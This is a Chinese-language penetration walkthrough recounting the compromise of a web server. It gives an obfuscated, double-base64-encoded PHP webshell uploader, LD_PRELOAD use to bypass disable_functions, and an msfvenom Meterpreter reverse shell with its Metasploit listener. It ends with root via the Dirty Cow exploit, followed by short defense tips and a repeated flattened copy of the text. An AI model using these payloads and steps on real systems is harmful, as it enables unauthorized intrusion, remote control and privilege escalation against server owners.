记脚本小子的一次渗透全过程
字数 1622 2025-08-26 22:11:29

基于LD_PRELOAD绕过disable_functions的渗透技术详解

一、渗透背景与前期准备

1.1 初始条件

  • 已获取目标服务器Webshell权限(一句话木马)
  • 目标服务器PHP环境配置了disable_functions限制系统命令执行
  • 具备文件上传能力(通过PHP代码写入文件)

1.2 关键工具准备

  • 上传马(用于写入Webshell)
  • 大马(297.php,用于更便捷的文件管理)
  • LD_PRELOAD绕过工具(来自github.com/zhinaonet/bypass_disablefunc_via_LD_PRELOAD)
  • Metasploit框架(用于生成和监听反弹shell)
  • Dirty Cow提权工具(来自github.com/FireFart/dirtycow)

二、详细渗透流程

2.1 初始Webshell利用

使用以下PHP代码写入上传马(shell.php):

?a=fputs(fopen(base64_decode(c2hlbGwucGhw),w),base64_decode(base64_decode(UEQ5d2FIQWdEUXBBSkhSbGJYQWdQU0FrWDBaSlRFVlRXeWQxY0d4dllXUmZabWxzWlNkZFd5ZDBiWEJmYm1GdFpTZGRPdzBLUUNSbWFXeGxJRDBnWW1GelpXNWhiV1VvSkY5R1NVeEZVMXNuZFhCc2IyRmtYMlpwYkdVblhWc25ibUZ0WlNkZEtUc05DbWxtSUNobGJYQjBlU0FvSkdacGJHVXBLWHNOQ21WamFHOGdJanhtYjNKdElHRmpkR2x2YmlBOUlDY25JRzFsZEdodlpDQTlJQ2RRVDFOVUp5QkZUa05VV1ZCRlBTZHRkV3gwYVhCaGNuUXZabTl5YlMxa1lYUmhKejVjYmlJN1pXTm9ieUFpVEc5allXd2dabWxzWlRvZ1BHbHVjSFYwSUhSNWNHVWdQU0FuWm1sc1pTY2dibUZ0WlNBOUlDZDFjR3h2WVdSZlptbHNaU2MrWEc0aU8yVmphRzhnSWp4cGJuQjFkQ0IwZVhCbElEMGdKM04xWW0xcGRDY2dkbUZzZFdVZ1BTQW5WWEJzYjJGa0p6NWNiaUk3WldOb2J5QWlQQzltYjNKdFBseHVQSEJ5WlQ1Y2JseHVQQzl3Y21VK0lqdDlaV3h6WlNCN2FXWW9iVzkyWlY5MWNHeHZZV1JsWkY5bWFXeGxLQ1IwWlcxd0xDUm1hV3hsS1NsN1pXTm9ieUFpUm1sc1pTQjFjR3h2WVdSbFpDQnpkV05qWlhOelpuVnNiSGt1UEhBK1hHNGlPMzFsYkhObElIdGxZMmh2SUNKVmJtRmliR1VnZEc4Z2RYQnNiMkZrSUNJZ0xpQWtabWxzWlNBdUlDSXVQSEErWEc0aU8zMTlQejQ9)));

2.2 上传大马并确认限制

  1. 通过上传马(shell.php)上传297.php大马
  2. 发现无法执行系统命令,通过phpinfo()确认disable_functions限制

2.3 绕过disable_functions

使用LD_PRELOAD技术绕过:

  1. 从github下载bypass_disablefunc_via_LD_PRELOAD工具
  2. 上传bypass.php文件到服务器
  3. 通过bypass.php执行系统命令,格式:
    bypass.php?cmd=要执行的命令&outpath=输出路径&sopath=so文件路径
    

2.4 建立反弹shell

  1. 使用ngrok进行内网穿透(如需)
  2. 使用msfvenom生成Linux反弹shell:
    msfvenom -p linux/x64/meterpreter_reverse_tcp LHOST=your_ip LPORT=10017 -f elf > shell.elf
    
  3. 设置Metasploit监听:
    use exploit/multi/handler
    set PAYLOAD linux/x64/meterpreter_reverse_tcp
    set LHOST 192.168.1.170
    set LPORT 4444
    run
    
  4. 上传shell.elf到目标服务器并赋予执行权限:
    chmod +x shell.elf
    ./shell.elf
    

2.5 提权操作

  1. 检查内核版本是否在Dirty Cow漏洞影响范围内
  2. 下载并编译Dirty Cow提权exp:
    gcc -pthread dirty.c -o dirty -lcrypt
    ./dirty
    
  3. 遇到"Standard in must be a tty"错误时,使用Python绕过:
    python -c 'import pty; pty.spawn("/bin/sh")'
    su firefart
    
  4. 输入生成的密码完成提权

三、关键技术点详解

3.1 LD_PRELOAD绕过原理

  • 利用Linux动态链接库加载机制
  • 通过LD_PRELOAD环境变量优先加载自定义的共享库
  • 劫持系统函数调用(如mail()函数使用的系统调用)
  • 在自定义库中执行恶意代码

3.2 Dirty Cow漏洞利用

  • 影响Linux内核2.6.22-3.9版本
  • 利用竞态条件修改只读内存映射
  • 可用于修改/etc/passwd等关键文件
  • 编译后执行会创建一个新用户(firefart)并赋予root权限

3.3 反弹shell建立技巧

  • 选择与目标系统匹配的payload(linux/x64)
  • 确保监听端口不被防火墙阻挡
  • 使用内网穿透工具解决无公网IP问题
  • 上传后务必赋予可执行权限

四、防御建议

4.1 针对LD_PRELOAD绕过的防御

  • 禁用危险PHP函数(如dl())
  • 限制PHP执行外部程序的能力
  • 使用open_basedir限制PHP访问范围
  • 定期更新PHP版本和安全补丁

4.2 针对提权的防御

  • 及时更新内核补丁
  • 限制非特权用户的编译权限
  • 监控/etc/passwd等关键文件的修改
  • 使用SELinux等安全模块

4.3 整体安全建议

  • 定期审计Web应用代码
  • 限制文件上传功能
  • 实施最小权限原则
  • 建立完善的日志监控系统

五、参考资源

  1. LD_PRELOAD绕过工具:https://github.com/zhinaonet/bypass_disablefunc_via_LD_PRELOAD
  2. Dirty Cow漏洞利用:https://github.com/FireFart/dirtycow
  3. Metasploit官方文档:https://www.metasploit.com/
  4. PHP安全配置指南:https://www.php.net/manual/en/security.php
基于LD_ PRELOAD绕过disable_ functions的渗透技术详解 一、渗透背景与前期准备 1.1 初始条件 已获取目标服务器Webshell权限(一句话木马) 目标服务器PHP环境配置了disable_ functions限制系统命令执行 具备文件上传能力(通过PHP代码写入文件) 1.2 关键工具准备 上传马(用于写入Webshell) 大马(297.php,用于更便捷的文件管理) LD_ PRELOAD绕过工具(来自github.com/zhinaonet/bypass_ disablefunc_ via_ LD_ PRELOAD) Metasploit框架(用于生成和监听反弹shell) Dirty Cow提权工具(来自github.com/FireFart/dirtycow) 二、详细渗透流程 2.1 初始Webshell利用 使用以下PHP代码写入上传马(shell.php): 2.2 上传大马并确认限制 通过上传马(shell.php)上传297.php大马 发现无法执行系统命令,通过phpinfo()确认disable_ functions限制 2.3 绕过disable_ functions 使用LD_ PRELOAD技术绕过: 从github下载bypass_ disablefunc_ via_ LD_ PRELOAD工具 上传bypass.php文件到服务器 通过bypass.php执行系统命令,格式: 2.4 建立反弹shell 使用ngrok进行内网穿透(如需) 使用msfvenom生成Linux反弹shell: 设置Metasploit监听: 上传shell.elf到目标服务器并赋予执行权限: 2.5 提权操作 检查内核版本是否在Dirty Cow漏洞影响范围内 下载并编译Dirty Cow提权exp: 遇到"Standard in must be a tty"错误时,使用Python绕过: 输入生成的密码完成提权 三、关键技术点详解 3.1 LD_ PRELOAD绕过原理 利用Linux动态链接库加载机制 通过LD_ PRELOAD环境变量优先加载自定义的共享库 劫持系统函数调用(如mail()函数使用的系统调用) 在自定义库中执行恶意代码 3.2 Dirty Cow漏洞利用 影响Linux内核2.6.22-3.9版本 利用竞态条件修改只读内存映射 可用于修改/etc/passwd等关键文件 编译后执行会创建一个新用户(firefart)并赋予root权限 3.3 反弹shell建立技巧 选择与目标系统匹配的payload(linux/x64) 确保监听端口不被防火墙阻挡 使用内网穿透工具解决无公网IP问题 上传后务必赋予可执行权限 四、防御建议 4.1 针对LD_ PRELOAD绕过的防御 禁用危险PHP函数(如dl()) 限制PHP执行外部程序的能力 使用open_ basedir限制PHP访问范围 定期更新PHP版本和安全补丁 4.2 针对提权的防御 及时更新内核补丁 限制非特权用户的编译权限 监控/etc/passwd等关键文件的修改 使用SELinux等安全模块 4.3 整体安全建议 定期审计Web应用代码 限制文件上传功能 实施最小权限原则 建立完善的日志监控系统 五、参考资源 LD_ PRELOAD绕过工具:https://github.com/zhinaonet/bypass_ disablefunc_ via_ LD_ PRELOAD Dirty Cow漏洞利用:https://github.com/FireFart/dirtycow Metasploit官方文档:https://www.metasploit.com/ PHP安全配置指南:https://www.php.net/manual/en/security.php